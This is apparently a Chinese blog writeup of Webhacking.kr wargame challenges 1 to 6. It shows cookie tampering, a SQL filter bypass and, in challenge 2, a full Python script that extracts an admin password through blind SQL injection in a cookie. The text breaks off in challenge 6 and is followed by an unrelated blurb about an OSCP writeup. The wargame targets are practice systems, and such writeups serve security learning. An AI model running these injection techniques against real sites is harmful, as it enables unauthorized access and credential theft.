Webhacking.kr writeup(更新至challenge 29)

Webhacking.kr writeup

先附上题目的链接

http://webhacking.kr

challenge 1

第一个先看源码,

<a onclick=location.href='index.phps'>----- index.phps -----</a>

先有一个跳转,跟过去看看
又得到了一些源码,重点的如下:

<?

$password="????";

if(eregi("[^0-9,.]",$_COOKIE[user_lv])) $_COOKIE[user_lv]=1;

if($_COOKIE[user_lv]>=6) $_COOKIE[user_lv]=1;

if($_COOKIE[user_lv]>5) @solve();

echo("<br>level : $_COOKIE[user_lv]");

?>

这里很容易就看出把cookie中的user_lv随便一个5-6之间的小树就可以了,所以直接抓包修改就行了

这里写图片描述

challenge 2

好吧这道题。。半知半解加上猜测勉强算是做出来。
回到正题。
点进去是这个样子

这里写图片描述

然后开始找线索,注意,该页的源码里面发现了很关键的东西

这里写图片描述

这就是那条龙对应的连接,点一下就进到了登录admin的界面

这里写图片描述

试了试没法儿注入,然后还发现了这里有个关键的东西:

这里写图片描述

又是要密码,试了试也没有可以注入的迹象,然后整个人都好了,看了题解之后(韩文题解,只能看懂图,爽翻。。。)
说是首页这里有问题

这里写图片描述

首页时
间注释掉了,然后通过抓包

这里写图片描述

试试这里有没有问题,把这里改成如下:

time=1460468419 and 1=1

发现时间变成了

这里写图片描述

那么再试试

time=1460468419 or 1=0

这里写图片描述

所以这里是存在盲注的,那么就可以尝试爆一点东西出来,
由于无法判断是什么数据库,自然也不好直接爆,顶多爆一下库名之类没什么卵用的东西。这里主要是猜想刚才那个admin界面的表对应是admin表,然后猜解他的password字段,
对应的python代码也比较简单,贴一贴吧

import requests
import re
db_length=-1
db_name=""
url = 'http://webhacking.kr/challenge/web/web-02/index.php'
r=requests.session()
def doinject(param):
    header={
  "Cookie":"time="+param+";PHPSESSID=58ltk3o56jd4ug007chbiorne3"}
    result=r.get(url,headers=header)
    content=result.content
    #print content
    if "09:00:01" in content:
        return 1
    return 0

def get_admin_pass():
    global db_length
    global db_name
    for i in xrange(100):
        param="1460468419 and if((select length(password) from admin)="+str(i)+",1,0)"
        if doinject(param):
            db_length=i
            break
    print db_length

    for i in xrange(1,db_length+1): 
        start=48
        end=122
        while(start!=end):
            #print str(start)+" : "+str(end)
            if(end-start==1):
                param="1460468419 and if(ascii(substr((select password from admin),"+str(i)+",1))="+str(start)+",1,0)"
                if(doinject(param)):
                    end=start
                else:
                    start=end
            else:
                mid=(start+end)/2
                param="1460468419 and if(ascii(substr((select password from admin),"+str(i)+",1))>="+str(mid)+",1,0)"
                if(doinject(param)):
                    start=mid
                else:
                    end=mid
        db_name+=chr(start)
        print db_name
    print db_name
get_admin_pass()

这里写图片描述

所以密码就是0nly_admin
那么用这个密码去登录admin页面,得到提示:

这里写图片描述

(尼玛啊,韩文提示你大爷的。。。。百度谷歌翻译一下把)
好歹告诉了一个什么密码还是什么的东西吧。试了试不是board处的密码。
好吧,到这里就怼不动了,看看题解,发现莫名其妙的脑洞第二个表名

这里写图片描述

已跪好吧!
有了第二个表名,又来猜密码,代码都不用变,直接把表名换成FreeB0aRd就可以了,真是烦,浪费我这么多时间,结果是个脑洞。

这里写图片描述

所以board处的密码就是7598522ae

输入之后出现个链接,给了个zip,__AdMiN__FiL2.zip,打开,是一个html文件

这里写图片描述

好吧,这个是有解压密码的,突然想到刚才在admin界面拿到的提示还没有用,那个密码@dM1n__nnanual,输入进去果然成功解压了!打开html文件
卧槽卧槽,终于出来了

这里写图片描述

所以flag就是这个了,HacKed_by_n0b0dY,好吧这道题我已经报警了,浪费了我整整快一天时间了。。。结果就尼玛脑洞过来的(好吧,可能是因为看不懂韩文,没有找到hint的位置吧)
然后去提交就行了。

challenge 3

打开就是这样一个网页

这里写图片描述

然后简单看看,只有右下角的5*5格子可以操作,看看源码也并没有什么有价值的东西
然后观察格子,最后猜测,就是每一行或每一列对应的就是我们应该画上的黑格子的数量,比如一个3,我们就要画三个连续的黑格子,比如111,我们就要画三个间隔的黑格子,所以试了试之后,如下:

这里写图片描述

出现一个输入框,先抓包看看,也没有什么异样,尝试注入,发现answer字段这里有注入的迹象

这里写图片描述

试了试之后,发现像是',or,#等等都被过滤了,最后成功的payload就是这个

这里写图片描述

||代替or,所以根据返回来看,答案就是new_sql_injection这个了

challenge 4

一看先是个base64解码,然后又是sha1解密,接着还是sha1解密
比较简单,最后答案就是test
不做赘述

challenge 5

这道题应该是比较简单的了,我觉得明明应该是对的但还是出不来,浪费了不少时间,这里先不写,回头再来补把。

challenge 6

看源码,一堆替换,第一部分php代码就是当我们没有设定cookie的时候它会自动生成,这部分不用管。重点是第二部分,

$decode_id=$_COOKIE[user];
$decode_pw=$_COOKIE[password];

$decode_id=str_replace("!","1",$decode_id);
$decode_id=str_replace("@","2",$decode_id);
$decode_id=str_replace("$","3",$decode_id);
$decode_id=str_replace("^","4",$decode_id);
$decode_id=str_replace("&","5",$decode_id);
$decode_id=str_replace("*","6",$decode_id);
$decode_id=str_replace("(","7",$decode_id);
$decode_id=str_replace(")","8",$decode_id);

$decode_pw=str_replace(
  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 6
    评论
OSCP 2023 Challenge Writeup-MedTech-CSDN博客是一个关于OSCP挑战赛的技术解析博客。在这篇博客中,作者详细讲解了一个名为MedTech的挑战项目,并提供了解决该挑战所需的步骤和工具。 这篇博客的开头介绍了OSCP证书的重要性和它在信息安全领域的认可度。接着,作者向读者介绍了挑战项目MedTech的背景和目标。MedTech是一个模拟医疗技术公司的网络环境,参与者需要在该环境中寻找漏洞、获取权限,最终控制主机,获取FLAG。 在解决这个挑战的过程中,作者详细介绍了使用的工具和技术。例如,他讲解了利用漏洞扫描工具Nmap进行主机发现和服务探测的步骤,以及如何使用Metasploit框架进行漏洞利用和提权。 博客中还涵盖了其他一些有关网络渗透测试的技术,如枚举、社会工程学和Web应用程序漏洞利用。作者详细解释了每个技术的原理和实际应用。 在解决MedTech挑战的过程中,作者还分享了一些遇到的困难和技巧。他提到了一些常见的错误和陷阱,并分享了如何避免它们的经验。 最后,作者总结了整个挑战的过程,并分享了他在完成挑战时的成就感和收获。他强调了在这个过程中学到的技能和知识的重要性,并鼓励读者积极参与类似的挑战和项目。 这篇博客不仅提供了对OSCP挑战赛的深入了解,而且为读者提供了解决类似问题的思路和方法。它对于那些对信息安全和网络渗透感兴趣的读者来说是一个很有价值的参考资源。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值